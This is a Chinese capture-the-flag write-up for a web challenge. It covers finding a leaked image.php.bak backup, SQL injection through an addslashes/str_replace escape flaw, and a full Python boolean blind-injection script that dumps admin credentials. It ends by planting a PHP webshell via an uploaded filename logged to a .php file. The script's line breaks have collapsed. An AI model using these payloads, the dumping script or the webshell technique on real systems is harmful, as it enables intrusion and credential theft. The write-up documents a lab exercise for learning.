登录界面可以看到随机切换的图片。从页面源码中可以看到<div class="avtar"><img src="image.php?id=3" width="200" height="200"/></div>
,图片文件的请求地址,并且有传参id。web应用中像这种动态获取图片的实现逻辑一般是根据id从文件系统中读取图片资源,那如果没有对id进行严格过滤的话就可能造成文件泄露。
如果后端是$path = "images/" . $_GET['id'] . ".png"
像这样直接将id拼接到路径中,或许可以利用目录穿越。
尝试…/…/…/…/…/…/…/…/etc/passwd发现没有回显,很有可能后端对id进行了类型限制,试试看1…/…/…/…/…/…/…/…/etc/passwd,发现返回的是图片数据,那说明被当作了数字1,说明后端应该不是拼接路径,很可能是根据id查询数据库或者文件系统,并且将id用引号包裹起来了。
需要获得源码才行,扫扫有没有备份文件。利用dirsearch看到有robots.txt,访问给了个文件/static/secretkey.txt,但是里面没什么东西,只有一句话“you never guess”,跟题解有所不同。虽然看了答案知道有.php.back备份文件,但是比赛的时候肯定得靠自己去猜。利用字典进行备份文件扫描的时候有index.php.bak,但是这道题只有image.php.bak,像这种并不花哨而且找不到任何线索的题,大概率就是源码泄露,下次可以大胆猜测。
常见文件名 / 格式 | 说明 | 示例路径 |
---|---|---|
文件名~(如index.php~) | Linux 下 Vim/Sublime 生成的备份文件(末尾加~) | http://target.com/index.php~ |
.#文件名(如.#config.php) | Vim 编辑时生成的临时交换文件(开头.#) | http://target.com/.#config.php |
文件名.bak/文件名.back(如config.php.bak) | 手动添加的备份后缀(开发常用) | http://target.com/config.php.bak |
文件名.txt(如config.txt) | 为方便查看,将配置文件改为 TXT 格式备份 | http://target.com/config.txt |
<?php
include "config.php";$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";$id=addslashes($id);
$path=addslashes($path);$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
直接将参数拼入sql语句,这是很危险的。不过他正确使用了addslashes函数进行特殊字符转义。但是,又用了str_replace将某些字符替换为空,这和上次那道连续使用两个转移函数造成特殊字符逃逸差不多,这边也可以构造逃逸。
addslashes函数默认转义的字符:
单引号('):转义后为 '
双引号("):转义后为 "
反斜杠(\):转义后为 \
NUL 字符(ASCII 码 0 的空字符,通常用 \0 表示):转义后为 \0
另外一个注意的地方是这边替换掉的是\0
%00
\\
'
,因为在str_replace函数中这些字符是用双引号包裹的,会转义一次。
我们可以在id中构造\0
,经过addslashes函数转义变成\\0
,然后替换函数会将\0
替换为空,就留下了一个反斜杠。拼入sql语句就是:
select * from images where id=' \' or path='{$path}'
此时单引号被转义,id的值变成了' \' or path='
,$path中的东西就成功逃逸出来了。但是此时最后还有一个单引号怎么办呢?考虑闭合或者用注释符。
怎么构造payload得到敏感文件呢?读取的文件是查询结果中的path字段,但是我们并不知道数据库中有什么。
尝试:
id=\0&path=or id=‘1’#
id=\0&path=or id='1
发现都不行,说明这样处理单引号不行,哦对因为单引号被替换为空了
id=\0&path=or 1=1#
这样也不行,难道是#没有生效?原来是直接在地址栏输入#不会被url编码,而是被当作注释符了。
id=\0&path=or 1=1%23 成功了。先看看images表中有没有信息。
id=\0&path=or 1=1 limit 1,1%23 只有三张图片。看来需要利用盲注找其他表。
注入位置是id=\0&path=or 1={xxx}%23
套用脚本:
import random
import time
import requests
from concurrent.futures import ThreadPoolExecutor
# -----------注意访问的文件
url = 'http://2182da8a-d0d4-461b-ab4a-05f5d542b169.node5.buuoj.cn:81/image.php'
# -----------标志性回显
# symbol = 'Nu1L'
# -----------爆破位置payload
# select = 'select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())'
# select = 'select(group_concat(column_name))from(information_schema.columns)where((table_name)=(0x7573657273))'
select = 'select group_concat(username)from users'
# -----------爆破长度payload
# select_len = 'select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database())'
# select_len = 'select(length(group_concat(column_name)))from(information_schema.columns)where((table_name)=(0x7573657273))'
select_len = 'select length(group_concat(username))from users'
length = 0
result = [''] * 1000 # 使用列表存储结果,避免线程安全问题def make_request(url, param):try:r = requests.get(url, params=param, timeout=30)# r = requests.post(url, data=param, timeout=30)r.raise_for_status() # 检查HTTP状态码return rexcept requests.exceptions.Timeout:print("[-] 请求超时,请检查网络连接或增加超时时间")except requests.exceptions.HTTPError as e:print(f"[-] HTTP错误: {e.response.status_code}")except requests.exceptions.RequestException as e:print(f"[-] 请求异常: {str(e)}")return Nonedef make_request_with_retry(url, param):global resultr = make_request(url, param)if not r:print("[-] 重试")time.sleep(random.randint(0, 10))r = make_request(url, param)if not r:return Nonereturn rdef get_length_with_BinarySearch():global lengthlow, high = 0, 500while low <= high:mid = (low + high) // 2param = {'id': '\\0', # 用双反斜杠表示字面意义的\0'path': f"or 1=(({select_len})>={mid})#"}# print(param)r = make_request_with_retry(url, param)if not r:print(f"[-]长度爆破失败")# print(r.content)# if symbol in r.text:if len(r.content) > 0:# 大于等于midparam = {"id": '\\0',"path": f"or 1=(({select_len})={mid})#"}r = make_request_with_retry(url, param)if not r:print(f"[-]长度爆破失败")# if symbol in r.text:if len(r.content) > 0:print(f"长度为{mid}")length = midbreakelse:# 大于midlow = mid + 1else:# 小于midhigh = mid - 1def get_char_at_position(i):global resultprint(f"[*] 开始注入位置{i}...")low, high = 31, 127while low <= high:mid = (low + high) // 2param = {'id': '\\0', # 用双反斜杠表示字面意义的\0'path': f"or 1=(ord(substr(({select}),{i},1))>={mid})#"}r = make_request_with_retry(url, param)if not r:print(f"[-] 位置{i}未找到!!!!!!!!!!!")result[i - 1] = '?'break# if symbol in r.text:if len(r.content) > 0:# 大于等于midparam = {'id': '\\0', # 用双反斜杠表示字面意义的\0'path': f"or 1=(ord(substr(({select}),{i},1))={mid})#"}r = make_request_with_retry(url, param)if not r:print(f"[-] 位置{i}未找到!!!!!!!!!!!")result[i - 1] = '?'break# if symbol in r.text:if len(r.content) > 0:# 等于midresult[i - 1] = chr(mid)print(f"[*] 位置{i}字符为{chr(mid)}")breakelse:# 大于midlow = mid + 1else:# 小于midhigh = mid - 1# # -----------------失败位置重试,如果有个别地方没有爆破成功可以在这里进行单独爆破
# position = {12, 15}
# for i in position:
# get_char_at_position(i)# ------------------爆破长度
get_length_with_BinarySearch()if length == 0:print("[-] length为0,请检查错误")exit(0)# # ------------------单线程爆破
# for i in range(1, length+1):
# get_char_at_position(i)# ------------------多线程爆破
with ThreadPoolExecutor(max_workers=10) as executor:futures = [executor.submit(get_char_at_position, i) for i in range(1, length + 1)]# 等待所有任务完成for future in futures:future.result()# 过滤空字符并拼接结果
final_result = ''.join(filter(None, result))
print("最终结果:", final_result)# 出错的位置
positions = []
for index, char in enumerate(final_result):if char == '?':positions.append(index+1)
print("出错位置:", positions)
有三个注意的点:
- 这里响应是图片,所有不能再用r.text来作为判断条件,可以通过响应长度不同来判断。
- 由于单双引号被禁用,所以在最后查字段的时候表名需要用十六进制编码,因为在Mysql中十六进制编码会自动解码为字符串,可以绕过引号。
- 通过request来发起请求的时候,客户端会自动对params进行url编码,所以如果#仍然写成%23就会导致二次编码。
最后爆出来:admin b028759c31b4a29d54f6
登录进去。发现是文件上传,随便上传一个文件发现:
I logged the file name you uploaded to logs/upload.05571ffc0f0ba134f932c75082af160e.log.php. LOL
看一下该日志文件:User admin uploaded file shell.jpg.
那是不是能将木马放到文件名中。试一下
使用蚁剑成功连接。
总结一下:首先需要获得image.php.bak源码文件,然后利用sql漏洞布尔盲注获得用户密码,登录后发现能上传文件至php文件,并且记录文件名,于是直接将一句话木马放到文件名中。